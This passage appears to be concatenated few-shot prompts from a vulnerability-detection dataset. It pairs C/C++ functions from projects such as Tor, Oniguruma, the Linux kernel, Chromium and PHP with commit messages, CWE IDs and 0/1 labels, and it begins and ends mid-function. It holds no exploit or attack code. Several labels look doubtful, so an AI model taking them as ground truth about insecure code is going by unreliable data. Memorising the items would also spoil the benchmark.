do_type != DMU_OST_ZVOL) ||
(SDEVTOV(dv)->v_type == VDIR && do_type == DMU_OST_ZVOL)) {
kmem_free(dsname, strlen(dsname) + 1);
return (SDEV_VTOR_STALE);
}
if (SDEVTOV(dv)->v_type == VLNK) {
char *ptr, *link;
long val = 0;
minor_t lminor, ominor;
rc = sdev_getlink(SDEVTOV(dv), &link);
ASSERT(rc == 0);
ptr = strrchr(link, ':') + 1;
rc = ddi_strtol(ptr, NULL, 10, &val);
kmem_free(link, strlen(link) + 1);
ASSERT(rc == 0 && val != 0);
lminor = (minor_t)val;
if (sdev_zvol_name2minor(dsname, &ominor) < 0 ||
ominor != lminor) {
kmem_free(dsname, strlen(dsname) + 1);
return (SDEV_VTOR_STALE);
}
}
kmem_free(dsname, strlen(dsname) + 1);
return (SDEV_VTOR_VALID);
}
Commit Message: 5421 devzvol_readdir() needs to be more careful with strchr
Reviewed by: Keith Wesolowski <[email protected]>
Reviewed by: Jerry Jelinek <[email protected]>
Approved by: Dan McDonald <[email protected]>
CWE ID:
Target: 0
Now analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. Remember, I want response in '1' or '0'. Do Not respond with explanation.
Code: fetch_from_evbuffer_socks(struct evbuffer *buf, socks_request_t *req,
int log_sockstype, int safe_socks)
{
char *data;
ssize_t n_drain;
size_t datalen, buflen, want_length;
int res;
buflen = evbuffer_get_length(buf);
if (buflen < 2)
return 0;
{
/* See if we can find the socks request in the first chunk of the buffer.
*/
struct evbuffer_iovec v;
int i;
n_drain = 0;
i = evbuffer_peek(buf, -1, NULL, &v, 1);
tor_assert(i == 1);
data = v.iov_base;
datalen = v.iov_len;
want_length = 0;
res = parse_socks(data, datalen, req, log_sockstype,
safe_socks, &n_drain, &want_length);
if (n_drain < 0)
evbuffer_drain(buf, evbuffer_get_length(buf));
else if (n_drain > 0)
evbuffer_drain(buf, n_drain);
if (res)
return res;
}
/* Okay, the first chunk of the buffer didn't have a complete socks request.
* That means that either we don't have a whole socks request at all, or
* it's gotten split up. We're going to try passing parse_socks() bigger
* and bigger chunks until either it says "Okay, I got it", or it says it
* will need more data than we currently have. */
/* Loop while we have more data that we haven't given parse_socks() yet. */
do {
int free_data = 0;
const size_t last_wanted = want_length;
n_drain = 0;
data = NULL;
datalen = inspect_evbuffer(buf, &data, want_length, &free_data, NULL);
want_length = 0;
res = parse_socks(data, datalen, req, log_sockstype,
safe_socks, &n_drain, &want_length);
if (free_data)
tor_free(data);
if (n_drain < 0)
evbuffer_drain(buf, evbuffer_get_length(buf));
else if (n_drain > 0)
evbuffer_drain(buf, n_drain);
if (res == 0 && n_drain == 0 && want_length <= last_wanted) {
/* If we drained nothing, and we didn't ask for more than last time,
* then we probably wanted more data than the buffer actually had,
* and we're finding out that we're not satisified with it. It's
* time to break until we have more data. */
break;
}
buflen = evbuffer_get_length(buf);
} while (res == 0 && want_length <= buflen && buflen >= 2);
return res;
}
Commit Message: Add a one-word sentinel value of 0x0 at the end of each buf_t chunk
This helps protect against bugs where any part of a buf_t's memory
is passed to a function that expects a NUL-terminated input.
It also closes TROVE-2016-10-001 (aka bug 20384).
CWE ID: CWE-119
Output: | 0 |
Here are some example code snippets. Analyze the following code, commit message, CWE ID and the target value where 1 indicates the code has vulnerability and 0 indicates non-vulnerable code.
Example 1:
Code: virtual void SetImePropertyActivated(const std::string& key,
bool activated) {
if (!initialized_successfully_)
return;
DCHECK(!key.empty());
chromeos::SetImePropertyActivated(
input_method_status_connection_, key.c_str(), activated);
}
Commit Message: Remove use of libcros from InputMethodLibrary.
BUG=chromium-os:16238
TEST==confirm that input methods work as before on the netbook. Also confirm that the chrome builds and works on the desktop as before.
Review URL: http://codereview.chromium.org/7003086
git-svn-id: svn://svn.chromium.org/chrome/trunk/src@89142 0039d316-1c4b-4281-b951-d872f2087c98
CWE ID: CWE-399
Target: 1
Example 2:
Code: static int lut_init(AVFilterContext *ctx)
{
return 0;
}
Commit Message: avfilter: fix plane validity checks
Fixes out of array accesses
Signed-off-by: Michael Niedermayer <[email protected]>
CWE ID: CWE-119
Target: 0
Now analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. Remember, I want response in '1' or '0'. Do Not respond with explanation.
Code: static void _wc_ecc_curve_free(ecc_curve_spec* curve)
{
if (curve == NULL) {
return;
}
if (curve->load_mask & ECC_CURVE_FIELD_PRIME)
mp_clear(curve->prime);
if (curve->load_mask & ECC_CURVE_FIELD_AF)
mp_clear(curve->Af);
#ifdef USE_ECC_B_PARAM
if (curve->load_mask & ECC_CURVE_FIELD_BF)
mp_clear(curve->Bf);
#endif
if (curve->load_mask & ECC_CURVE_FIELD_ORDER)
mp_clear(curve->order);
if (curve->load_mask & ECC_CURVE_FIELD_GX)
mp_clear(curve->Gx);
if (curve->load_mask & ECC_CURVE_FIELD_GY)
mp_clear(curve->Gy);
curve->load_mask = 0;
}
Commit Message: Change ECDSA signing to use blinding.
CWE ID: CWE-200
Output: | 0 |
Here are some example code snippets. Analyze the following code, commit message, CWE ID and the target value where 1 indicates the code has vulnerability and 0 indicates non-vulnerable code.
Example 1:
Code: BGD_DECLARE(void *) gdImageWebpPtr (gdImagePtr im, int *size)
{
void *rv;
gdIOCtx *out = gdNewDynamicCtx(2048, NULL);
if (out == NULL) {
return NULL;
}
gdImageWebpCtx(im, out, -1);
rv = gdDPExtractData(out, size);
out->gd_free(out);
return rv;
}
Commit Message: Fix double-free in gdImageWebPtr()
The issue is that gdImageWebpCtx() (which is called by gdImageWebpPtr() and
the other WebP output functions to do the real work) does not return whether
it succeeded or failed, so this is not checked in gdImageWebpPtr() and the
function wrongly assumes everything is okay, which is not, in this case,
because there is a size limitation for WebP, namely that the width and
height must by less than 16383.
We can't change the signature of gdImageWebpCtx() for API compatibility
reasons, so we introduce the static helper _gdImageWebpCtx() which returns
success respective failure, so gdImageWebpPtr() and gdImageWebpPtrEx() can
check the return value. We leave it solely to libwebp for now to report
warnings regarding the failing write.
This issue had been reported by Ibrahim El-Sayed to [email protected].
CVE-2016-6912
CWE ID: CWE-415
Target: 1
Example 2:
Code: static int decode_write(struct xdr_stream *xdr, struct nfs_writeres *res)
{
__be32 *p;
int status;
status = decode_op_hdr(xdr, OP_WRITE);
if (status)
return status;
READ_BUF(16);
READ32(res->count);
READ32(res->verf->committed);
COPYMEM(res->verf->verifier, 8);
return 0;
}
Commit Message: NFSv4: Convert the open and close ops to use fmode
Signed-off-by: Trond Myklebust <[email protected]>
CWE ID:
Target: 0
Now analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. Remember, I want response in '1' or '0'. Do Not respond with explanation.
Code: onig_search(regex_t* reg, const UChar* str, const UChar* end,
const UChar* start, const UChar* range, OnigRegion* region, OnigOptionType option)
{
int r;
UChar *s, *prev;
OnigMatchArg msa;
const UChar *orig_start = start;
#ifdef USE_MATCH_RANGE_MUST_BE_INSIDE_OF_SPECIFIED_RANGE
const UChar *orig_range = range;
#endif
#ifdef ONIG_DEBUG_SEARCH
fprintf(stderr,
"onig_search (entry point): str: %d, end: %d, start: %d, range: %d\n",
(int )str, (int )(end - str), (int )(start - str), (int )(range - str));
#endif
if (region
#ifdef USE_POSIX_API_REGION_OPTION
&& !IS_POSIX_REGION(option)
#endif
) {
r = onig_region_resize_clear(region, reg->num_mem + 1);
if (r) goto finish_no_msa;
}
if (start > end || start < str) goto mismatch_no_msa;
if (ONIG_IS_OPTION_ON(option, ONIG_OPTION_CHECK_VALIDITY_OF_STRING)) {
if (! ONIGENC_IS_VALID_MBC_STRING(reg->enc, str, end)) {
r = ONIGERR_INVALID_WIDE_CHAR_VALUE;
goto finish_no_msa;
}
}
#ifdef USE_MATCH_RANGE_MUST_BE_INSIDE_OF_SPECIFIED_RANGE
#ifdef USE_FIND_LONGEST_SEARCH_ALL_OF_RANGE
#define MATCH_AND_RETURN_CHECK(upper_range) \
r = match_at(reg, str, end, (upper_range), s, prev, &msa); \
if (r != ONIG_MISMATCH) {\
if (r >= 0) {\
if (! IS_FIND_LONGEST(reg->options)) {\
goto match;\
}\
}\
else goto finish; /* error */ \
}
#else
#define MATCH_AND_RETURN_CHECK(upper_range) \
r = match_at(reg, str, end, (upper_range), s, prev, &msa); \
if (r != ONIG_MISMATCH) {\
if (r >= 0) {\
goto match;\
}\
else goto finish; /* error */ \
}
#endif /* USE_FIND_LONGEST_SEARCH_ALL_OF_RANGE */
#else
#ifdef USE_FIND_LONGEST_SEARCH_ALL_OF_RANGE
#define MATCH_AND_RETURN_CHECK(none) \
r = match_at(reg, str, end, s, prev, &msa);\
if (r != ONIG_MISMATCH) {\
if (r >= 0) {\
if (! IS_FIND_LONGEST(reg->options)) {\
goto match;\
}\
}\
else goto finish; /* error */ \
}
#else
#define MATCH_AND_RETURN_CHECK(none) \
r = match_at(reg, str, end, s, prev, &msa);\
if (r != ONIG_MISMATCH) {\
if (r >= 0) {\
goto match;\
}\
else goto finish; /* error */ \
}
#endif /* USE_FIND_LONGEST_SEARCH_ALL_OF_RANGE */
#endif /* USE_MATCH_RANGE_MUST_BE_INSIDE_OF_SPECIFIED_RANGE */
/* anchor optimize: resume search range */
if (reg->anchor != 0 && str < end) {
UChar *min_semi_end, *max_semi_end;
if (reg->anchor & ANCHOR_BEGIN_POSITION) {
/* search start-position only */
begin_position:
if (range > start)
range = start + 1;
else
range = start;
}
else if (reg->anchor & ANCHOR_BEGIN_BUF) {
/* search str-position only */
if (range > start) {
if (start != str) goto mismatch_no_msa;
range = str + 1;
}
else {
if (range <= str) {
start = str;
range = str;
}
else
goto mismatch_no_msa;
}
}
else if (reg->anchor & ANCHOR_END_BUF) {
min_semi_end = max_semi_end = (UChar* )end;
end_buf:
if ((OnigLen )(max_semi_end - str) < reg->anchor_dmin)
goto mismatch_no_msa;
if (range > start) {
if ((OnigLen )(min_semi_end - start) > reg->anchor_dmax) {
start = min_semi_end - reg->anchor_dmax;
if (start < end)
start = onigenc_get_right_adjust_char_head(reg->enc, str, start);
}
if ((OnigLen )(max_semi_end - (range - 1)) < reg->anchor_dmin) {
range = max_semi_end - reg->anchor_dmin + 1;
}
if (start > range) goto mismatch_no_msa;
/* If start == range, match with empty at end.
Backward search is used. */
}
else {
if ((OnigLen )(min_semi_end - range) > reg->anchor_dmax) {
range = min_semi_end - reg->anchor_dmax;
}
if ((OnigLen )(max_semi_end - start) < reg->anchor_dmin) {
start = max_semi_end - reg->anchor_dmin;
start = ONIGENC_LEFT_ADJUST_CHAR_HEAD(reg->enc, str, start);
}
if (range > start) goto mismatch_no_msa;
}
}
else if (reg->anchor & ANCHOR_SEMI_END_BUF) {
UChar* pre_end = ONIGENC_STEP_BACK(reg->enc, str, end, 1);
max_semi_end = (UChar* )end;
if (ONIGENC_IS_MBC_NEWLINE(reg->enc, pre_end, end)) {
min_semi_end = pre_end;
#ifdef USE_CRNL_AS_LINE_TERMINATOR
pre_end = ONIGENC_STEP_BACK(reg->enc, str, pre_end, 1);
if (IS_NOT_NULL(pre_end) &&
ONIGENC_IS_MBC_CRNL(reg->enc, pre_end, end)) {
min_semi_end = pre_end;
}
#endif
if (min_semi_end > str && start <= min_semi_end) {
goto end_buf;
}
}
else {
min_semi_end = (UChar* )end;
goto end_buf;
}
}
else if ((reg->anchor & ANCHOR_ANYCHAR_STAR_ML)) {
goto begin_position;
}
}
else if (str == end) { /* empty string */
static const UChar* address_for_empty_string = (UChar* )"";
#ifdef ONIG_DEBUG_SEARCH
fprintf(stderr, "onig_search: empty string.\n");
#endif
if (reg->threshold_len == 0) {
start = end = str = address_for_empty_string;
s = (UChar* )start;
prev = (UChar* )NULL;
MATCH_ARG_INIT(msa, reg, option, region, start);
#ifdef USE_COMBINATION_EXPLOSION_CHECK
msa.state_check_buff = (void* )0;
msa.state_check_buff_size = 0; /* NO NEED, for valgrind */
#endif
MATCH_AND_RETURN_CHECK(end);
goto mismatch;
}
goto mismatch_no_msa;
}
#ifdef ONIG_DEBUG_SEARCH
fprintf(stderr, "onig_search(apply anchor): end: %d, start: %d, range: %d\n",
(int )(end - str), (int )(start - str), (int )(range - str));
#endif
MATCH_ARG_INIT(msa, reg, option, region, orig_start);
#ifdef USE_COMBINATION_EXPLOSION_CHECK
{
int offset = (MIN(start, range) - str);
STATE_CHECK_BUFF_INIT(msa, end - str, offset, reg->num_comb_exp_check);
}
#endif
s = (UChar* )start;
if (range > start) { /* forward search */
if (s > str)
prev = onigenc_get_prev_char_head(reg->enc, str, s);
else
prev = (UChar* )NULL;
if (reg->optimize != ONIG_OPTIMIZE_NONE) {
UChar *sch_range, *low, *high, *low_prev;
sch_range = (UChar* )range;
if (reg->dmax != 0) {
if (reg->dmax == ONIG_INFINITE_DISTANCE)
sch_range = (UChar* )end;
else {
sch_range += reg->dmax;
if (sch_range > end) sch_range = (UChar* )end;
}
}
if ((end - start) < reg->threshold_len)
goto mismatch;
if (reg->dmax != ONIG_INFINITE_DISTANCE) {
do {
if (! forward_search_range(reg, str, end, s, sch_range,
&low, &high, &low_prev)) goto mismatch;
if (s < low) {
s = low;
prev = low_prev;
}
while (s <= high) {
MATCH_AND_RETURN_CHECK(orig_range);
prev = s;
s += enclen(reg->enc, s);
}
} while (s < range);
goto mismatch;
}
else { /* check only. */
if (! forward_search_range(reg, str, end, s, sch_range,
&low, &high, (UChar** )NULL)) goto mismatch;
if ((reg->anchor & ANCHOR_ANYCHAR_STAR) != 0) {
do {
MATCH_AND_RETURN_CHECK(orig_range);
prev = s;
s += enclen(reg->enc, s);
if ((reg->anchor & (ANCHOR_LOOK_BEHIND | ANCHOR_PREC_READ_NOT)) == 0) {
while (!ONIGENC_IS_MBC_NEWLINE(reg->enc, prev, end) && s < range) {
prev = s;
s += enclen(reg->enc, s);
}
}
} while (s < range);
goto mismatch;
}
}
}
do {
MATCH_AND_RETURN_CHECK(orig_range);
prev = s;
s += enclen(reg->enc, s);
} while (s < range);
if (s == range) { /* because empty match with /$/. */
MATCH_AND_RETURN_CHECK(orig_range);
}
}
else { /* backward search */
#ifdef USE_MATCH_RANGE_MUST_BE_INSIDE_OF_SPECIFIED_RANGE
if (orig_start < end)
orig_start += enclen(reg->enc, orig_start); /* is upper range */
#endif
if (reg->optimize != ONIG_OPTIMIZE_NONE) {
UChar *low, *high, *adjrange, *sch_start;
if (range < end)
adjrange = ONIGENC_LEFT_ADJUST_CHAR_HEAD(reg->enc, str, range);
else
adjrange = (UChar* )end;
if (reg->dmax != ONIG_INFINITE_DISTANCE &&
(end - range) >= reg->threshold_len) {
do {
sch_start = s + reg->dmax;
if (sch_start > end) sch_start = (UChar* )end;
if (backward_search_range(reg, str, end, sch_start, range, adjrange,
&low, &high) <= 0)
goto mismatch;
if (s > high)
s = high;
while (s >= low) {
prev = onigenc_get_prev_char_head(reg->enc, str, s);
MATCH_AND_RETURN_CHECK(orig_start);
s = prev;
}
} while (s >= range);
goto mismatch;
}
else { /* check only. */
if ((end - range) < reg->threshold_len) goto mismatch;
sch_start = s;
if (reg->dmax != 0) {
if (reg->dmax == ONIG_INFINITE_DISTANCE)
sch_start = (UChar* )end;
else {
sch_start += reg->dmax;
if (sch_start > end) sch_start = (UChar* )end;
else
sch_start = ONIGENC_LEFT_ADJUST_CHAR_HEAD(reg->enc,
start, sch_start);
}
}
if (backward_search_range(reg, str, end, sch_start, range, adjrange,
&low, &high) <= 0) goto mismatch;
}
}
do {
prev = onigenc_get_prev_char_head(reg->enc, str, s);
MATCH_AND_RETURN_CHECK(orig_start);
s = prev;
} while (s >= range);
}
mismatch:
#ifdef USE_FIND_LONGEST_SEARCH_ALL_OF_RANGE
if (IS_FIND_LONGEST(reg->options)) {
if (msa.best_len >= 0) {
s = msa.best_s;
goto match;
}
}
#endif
r = ONIG_MISMATCH;
finish:
MATCH_ARG_FREE(msa);
/* If result is mismatch and no FIND_NOT_EMPTY option,
then the region is not set in match_at(). */
if (IS_FIND_NOT_EMPTY(reg->options) && region
#ifdef USE_POSIX_API_REGION_OPTION
&& !IS_POSIX_REGION(option)
#endif
) {
onig_region_clear(region);
}
#ifdef ONIG_DEBUG
if (r != ONIG_MISMATCH)
fprintf(stderr, "onig_search: error %d\n", r);
#endif
return r;
mismatch_no_msa:
r = ONIG_MISMATCH;
finish_no_msa:
#ifdef ONIG_DEBUG
if (r != ONIG_MISMATCH)
fprintf(stderr, "onig_search: error %d\n", r);
#endif
return r;
match:
MATCH_ARG_FREE(msa);
return s - str;
}
Commit Message: fix #59 : access to invalid address by reg->dmax value
CWE ID: CWE-476
Output: | 0 |
Here are some example code snippets. Analyze the following code, commit message, CWE ID and the target value where 1 indicates the code has vulnerability and 0 indicates non-vulnerable code.
Example 1:
Code: void UsbDeviceImpl::OnPathAccessRequestComplete(const OpenCallback& callback,
bool success) {
if (success) {
blocking_task_runner_->PostTask(
FROM_HERE,
base::Bind(&UsbDeviceImpl::OpenOnBlockingThread, this, callback));
} else {
chromeos::PermissionBrokerClient* client =
chromeos::DBusThreadManager::Get()->GetPermissionBrokerClient();
DCHECK(client) << "Could not get permission broker client.";
client->OpenPath(
device_path_,
base::Bind(&UsbDeviceImpl::OnOpenRequestComplete, this, callback));
}
}
Commit Message: Remove fallback when requesting a single USB interface.
This reverts commit 2d475d0ed37bf8f19385537ad31e361f1b21624b. The
permission broker now supports opening devices that are partially
claimed through the OpenPath method and RequestPathAccess will always
fail for these devices so the fallback path from RequestPathAccess to
OpenPath is always taken.
BUG=500057
Review URL: https://codereview.chromium.org/1227313003
Cr-Commit-Position: refs/heads/master@{#338354}
CWE ID: CWE-399
Target: 1
Example 2:
Code: void Browser::SyncHistoryWithTabs(int index) {
if (!profile()->HasSessionService())
return;
SessionService* session_service = profile()->GetSessionService();
if (session_service) {
for (int i = index; i < tab_count(); ++i) {
TabContents* contents = GetTabContentsAt(i);
if (contents) {
session_service->SetTabIndexInWindow(
session_id(), contents->controller().session_id(), i);
session_service->SetPinnedState(
session_id(),
contents->controller().session_id(),
tab_handler_->GetTabStripModel()->IsTabPinned(i));
}
}
}
}
Commit Message: chromeos: fix bug where "aw snap" page replaces first tab if it was a NTP when closing window with > 1 tab.
BUG=chromium-os:12088
TEST=verify bug per bug report.
Review URL: http://codereview.chromium.org/6882058
git-svn-id: svn://svn.chromium.org/chrome/trunk/src@83031 0039d316-1c4b-4281-b951-d872f2087c98
CWE ID: CWE-20
Target: 0
Now analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. Remember, I want response in '1' or '0'. Do Not respond with explanation.
Code: static int ep_poll(struct eventpoll *ep, struct epoll_event __user *events,
int maxevents, long timeout)
{
int res = 0, eavail, timed_out = 0;
unsigned long flags;
long slack = 0;
wait_queue_t wait;
ktime_t expires, *to = NULL;
if (timeout > 0) {
struct timespec end_time = ep_set_mstimeout(timeout);
slack = select_estimate_accuracy(&end_time);
to = &expires;
*to = timespec_to_ktime(end_time);
} else if (timeout == 0) {
/*
* Avoid the unnecessary trip to the wait queue loop, if the
* caller specified a non blocking operation.
*/
timed_out = 1;
spin_lock_irqsave(&ep->lock, flags);
goto check_events;
}
fetch_events:
spin_lock_irqsave(&ep->lock, flags);
if (!ep_events_available(ep)) {
/*
* We don't have any available event to return to the caller.
* We need to sleep here, and we will be wake up by
* ep_poll_callback() when events will become available.
*/
init_waitqueue_entry(&wait, current);
__add_wait_queue_exclusive(&ep->wq, &wait);
for (;;) {
/*
* We don't want to sleep if the ep_poll_callback() sends us
* a wakeup in between. That's why we set the task state
* to TASK_INTERRUPTIBLE before doing the checks.
*/
set_current_state(TASK_INTERRUPTIBLE);
if (ep_events_available(ep) || timed_out)
break;
if (signal_pending(current)) {
res = -EINTR;
break;
}
spin_unlock_irqrestore(&ep->lock, flags);
if (!schedule_hrtimeout_range(to, slack, HRTIMER_MODE_ABS))
timed_out = 1;
spin_lock_irqsave(&ep->lock, flags);
}
__remove_wait_queue(&ep->wq, &wait);
set_current_state(TASK_RUNNING);
}
check_events:
/* Is it worth to try to dig for events ? */
eavail = ep_events_available(ep);
spin_unlock_irqrestore(&ep->lock, flags);
/*
* Try to transfer events to user space. In case we get 0 events and
* there's still timeout left over, we go trying again in search of
* more luck.
*/
if (!res && eavail &&
!(res = ep_send_events(ep, events, maxevents)) && !timed_out)
goto fetch_events;
return res;
}
Commit Message: epoll: clear the tfile_check_list on -ELOOP
An epoll_ctl(,EPOLL_CTL_ADD,,) operation can return '-ELOOP' to prevent
circular epoll dependencies from being created. However, in that case we
do not properly clear the 'tfile_check_list'. Thus, add a call to
clear_tfile_check_list() for the -ELOOP case.
Signed-off-by: Jason Baron <[email protected]>
Reported-by: Yurij M. Plotnikov <[email protected]>
Cc: Nelson Elhage <[email protected]>
Cc: Davide Libenzi <[email protected]>
Tested-by: Alexandra N. Kossovsky <[email protected]>
Signed-off-by: Andrew Morton <[email protected]>
Signed-off-by: Linus Torvalds <[email protected]>
CWE ID:
Output: | 0 |
Here are some example code snippets. Analyze the following code, commit message, CWE ID and the target value where 1 indicates the code has vulnerability and 0 indicates non-vulnerable code.
Example 1:
Code: PHP_METHOD(Phar, offsetUnset)
{
char *fname, *error;
size_t fname_len;
phar_entry_info *entry;
PHAR_ARCHIVE_OBJECT();
if (PHAR_G(readonly) && !phar_obj->archive->is_data) {
zend_throw_exception_ex(spl_ce_BadMethodCallException, 0, "Write operations disabled by the php.ini setting phar.readonly");
return;
}
if (zend_parse_parameters(ZEND_NUM_ARGS(), "s", &fname, &fname_len) == FAILURE) {
return;
}
if (zend_hash_str_exists(&phar_obj->archive->manifest, fname, (uint) fname_len)) {
if (NULL != (entry = zend_hash_str_find_ptr(&phar_obj->archive->manifest, fname, (uint) fname_len))) {
if (entry->is_deleted) {
/* entry is deleted, but has not been flushed to disk yet */
return;
}
if (phar_obj->archive->is_persistent) {
if (FAILURE == phar_copy_on_write(&(phar_obj->archive))) {
zend_throw_exception_ex(phar_ce_PharException, 0, "phar \"%s\" is persistent, unable to copy on write", phar_obj->archive->fname);
return;
}
/* re-populate entry after copy on write */
entry = zend_hash_str_find_ptr(&phar_obj->archive->manifest, fname, (uint) fname_len);
}
entry->is_modified = 0;
entry->is_deleted = 1;
/* we need to "flush" the stream to save the newly deleted file on disk */
phar_flush(phar_obj->archive, 0, 0, 0, &error);
if (error) {
zend_throw_exception_ex(phar_ce_PharException, 0, "%s", error);
efree(error);
}
RETURN_TRUE;
}
} else {
RETURN_FALSE;
}
}
Commit Message:
CWE ID: CWE-20
Target: 1
Example 2:
Code: SpdyWriteQueue::~SpdyWriteQueue() {
Clear();
}
Commit Message: These can post callbacks which re-enter into SpdyWriteQueue.
BUG=369539
Review URL: https://codereview.chromium.org/265933007
git-svn-id: svn://svn.chromium.org/chrome/trunk/src@268730 0039d316-1c4b-4281-b951-d872f2087c98
CWE ID:
Target: 0
Now analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. Remember, I want response in '1' or '0'. Do Not respond with explanation.
Code: void ScrollHitTestDisplayItem::Record(
GraphicsContext& context,
const DisplayItemClient& client,
DisplayItem::Type type,
scoped_refptr<const TransformPaintPropertyNode> scroll_offset_node) {
PaintController& paint_controller = context.GetPaintController();
DCHECK_NE(paint_controller.CurrentPaintChunkProperties().Transform(),
scroll_offset_node.get());
if (paint_controller.DisplayItemConstructionIsDisabled())
return;
paint_controller.CreateAndAppend<ScrollHitTestDisplayItem>(
client, type, std::move(scroll_offset_node));
}
Commit Message: Reland "[CI] Make paint property nodes non-ref-counted"
This reverts commit 887383b30842d9d9006e11bb6932660a3cb5b1b7.
Reason for revert: Retry in M69.
Original change's description:
> Revert "[CI] Make paint property nodes non-ref-counted"
>
> This reverts commit 70fc0b018c9517558b7aa2be00edf2debb449123.
>
> Reason for revert: Caused bugs found by clusterfuzz
>
> Original change's description:
> > [CI] Make paint property nodes non-ref-counted
> >
> > Now all paint property nodes are owned by ObjectPaintProperties
> > (and LocalFrameView temporarily before removing non-RLS mode).
> > Others just use raw pointers or references.
> >
> > Bug: 833496
> > Cq-Include-Trybots: master.tryserver.blink:linux_trusty_blink_rel;master.tryserver.chromium.linux:linux_layout_tests_slimming_paint_v2
> > Change-Id: I2d544fe153bb94698623248748df63c8aa2081ae
> > Reviewed-on: https://chromium-review.googlesource.com/1031101
> > Reviewed-by: Tien-Ren Chen <[email protected]>
> > Commit-Queue: Xianzhu Wang <[email protected]>
> > Cr-Commit-Position: refs/heads/master@{#554626}
>
> [email protected],[email protected],[email protected]
>
> Change-Id: I02bb50d6744cb81a797246a0116b677e80a3c69f
> No-Presubmit: true
> No-Tree-Checks: true
> No-Try: true
> Bug: 833496,837932,837943
> Cq-Include-Trybots: master.tryserver.blink:linux_trusty_blink_rel;master.tryserver.chromium.linux:linux_layout_tests_slimming_paint_v2
> Reviewed-on: https://chromium-review.googlesource.com/1034292
> Reviewed-by: Xianzhu Wang <[email protected]>
> Commit-Queue: Xianzhu Wang <[email protected]>
> Cr-Commit-Position: refs/heads/master@{#554653}
[email protected],[email protected],[email protected]
# Not skipping CQ checks because original CL landed > 1 day ago.
Bug: 833496, 837932, 837943
Change-Id: I0b4ef70db1f1f211ba97c30d617225355c750992
Cq-Include-Trybots: master.tryserver.blink:linux_trusty_blink_rel;master.tryserver.chromium.linux:linux_layout_tests_slimming_paint_v2
Reviewed-on: https://chromium-review.googlesource.com/1083491
Commit-Queue: Xianzhu Wang <[email protected]>
Reviewed-by: Xianzhu Wang <[email protected]>
Cr-Commit-Position: refs/heads/master@{#563930}
CWE ID:
Output: | 1 |
Here are some example code snippets. Analyze the following code, commit message, CWE ID and the target value where 1 indicates the code has vulnerability and 0 indicates non-vulnerable code.
Example 1:
Code: PrintPreviewUI::PrintPreviewUI(content::WebUI* web_ui)
: ConstrainedWebDialogUI(web_ui),
initial_preview_start_time_(base::TimeTicks::Now()),
handler_(NULL),
source_is_modifiable_(true),
tab_closed_(false) {
Profile* profile = Profile::FromWebUI(web_ui);
ChromeURLDataManager::AddDataSource(profile, new PrintPreviewDataSource());
handler_ = new PrintPreviewHandler();
web_ui->AddMessageHandler(handler_);
preview_ui_addr_str_ = GetPrintPreviewUIAddress();
g_print_preview_request_id_map.Get().Set(preview_ui_addr_str_, -1);
}
Commit Message: Print preview: Use an ID instead of memory pointer string in WebUI.
BUG=144051
Review URL: https://chromiumcodereview.appspot.com/10870003
git-svn-id: svn://svn.chromium.org/chrome/trunk/src@153342 0039d316-1c4b-4281-b951-d872f2087c98
CWE ID: CWE-200
Target: 1
Example 2:
Code: bool CanToggleAudioMute(content::WebContents* contents) {
switch (GetTabAlertStateForContents(contents)) {
case TabAlertState::NONE:
case TabAlertState::AUDIO_PLAYING:
case TabAlertState::AUDIO_MUTING:
return true;
case TabAlertState::MEDIA_RECORDING:
case TabAlertState::TAB_CAPTURING:
case TabAlertState::BLUETOOTH_CONNECTED:
case TabAlertState::USB_CONNECTED:
return false;
}
NOTREACHED();
return false;
}
Commit Message: Fix nullptr crash in IsSiteMuted
This CL adds a nullptr check in IsSiteMuted to prevent a crash on Mac.
Bug: 797647
Change-Id: Ic36f0fb39f2dbdf49d2bec9e548a4a6e339dc9a2
Reviewed-on: https://chromium-review.googlesource.com/848245
Reviewed-by: Mounir Lamouri <[email protected]>
Reviewed-by: Yuri Wiitala <[email protected]>
Commit-Queue: Tommy Steimel <[email protected]>
Cr-Commit-Position: refs/heads/master@{#526825}
CWE ID:
Target: 0
Now analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. Remember, I want response in '1' or '0'. Do Not respond with explanation.
Code: void ChromeRenderMessageFilter::OnExtensionShouldUnloadAck(
const std::string& extension_id, int sequence_id) {
if (profile_->GetExtensionProcessManager())
profile_->GetExtensionProcessManager()->OnShouldUnloadAck(
extension_id, sequence_id);
}
Commit Message: Disable tcmalloc profile files.
BUG=154983
[email protected]
NOTRY=true
Review URL: https://chromiumcodereview.appspot.com/11087041
git-svn-id: svn://svn.chromium.org/chrome/trunk/src@161048 0039d316-1c4b-4281-b951-d872f2087c98
CWE ID: CWE-399
Output: | 0 |
Here are some example code snippets. Analyze the following code, commit message, CWE ID and the target value where 1 indicates the code has vulnerability and 0 indicates non-vulnerable code.
Example 1:
Code: ProcXFixesCopyRegion(ClientPtr client)
{
RegionPtr pSource, pDestination;
REQUEST(xXFixesCopyRegionReq);
VERIFY_REGION(pSource, stuff->source, client, DixReadAccess);
VERIFY_REGION(pDestination, stuff->destination, client, DixWriteAccess);
if (!RegionCopy(pDestination, pSource))
return BadAlloc;
return Success;
}
Commit Message:
CWE ID: CWE-20
Target: 1
Example 2:
Code: static void inject_pending_event(struct kvm_vcpu *vcpu)
{
/* try to reinject previous events if any */
if (vcpu->arch.exception.pending) {
trace_kvm_inj_exception(vcpu->arch.exception.nr,
vcpu->arch.exception.has_error_code,
vcpu->arch.exception.error_code);
kvm_x86_ops->queue_exception(vcpu, vcpu->arch.exception.nr,
vcpu->arch.exception.has_error_code,
vcpu->arch.exception.error_code,
vcpu->arch.exception.reinject);
return;
}
if (vcpu->arch.nmi_injected) {
kvm_x86_ops->set_nmi(vcpu);
return;
}
if (vcpu->arch.interrupt.pending) {
kvm_x86_ops->set_irq(vcpu);
return;
}
/* try to inject new event if pending */
if (vcpu->arch.nmi_pending) {
if (kvm_x86_ops->nmi_allowed(vcpu)) {
--vcpu->arch.nmi_pending;
vcpu->arch.nmi_injected = true;
kvm_x86_ops->set_nmi(vcpu);
}
} else if (kvm_cpu_has_interrupt(vcpu)) {
if (kvm_x86_ops->interrupt_allowed(vcpu)) {
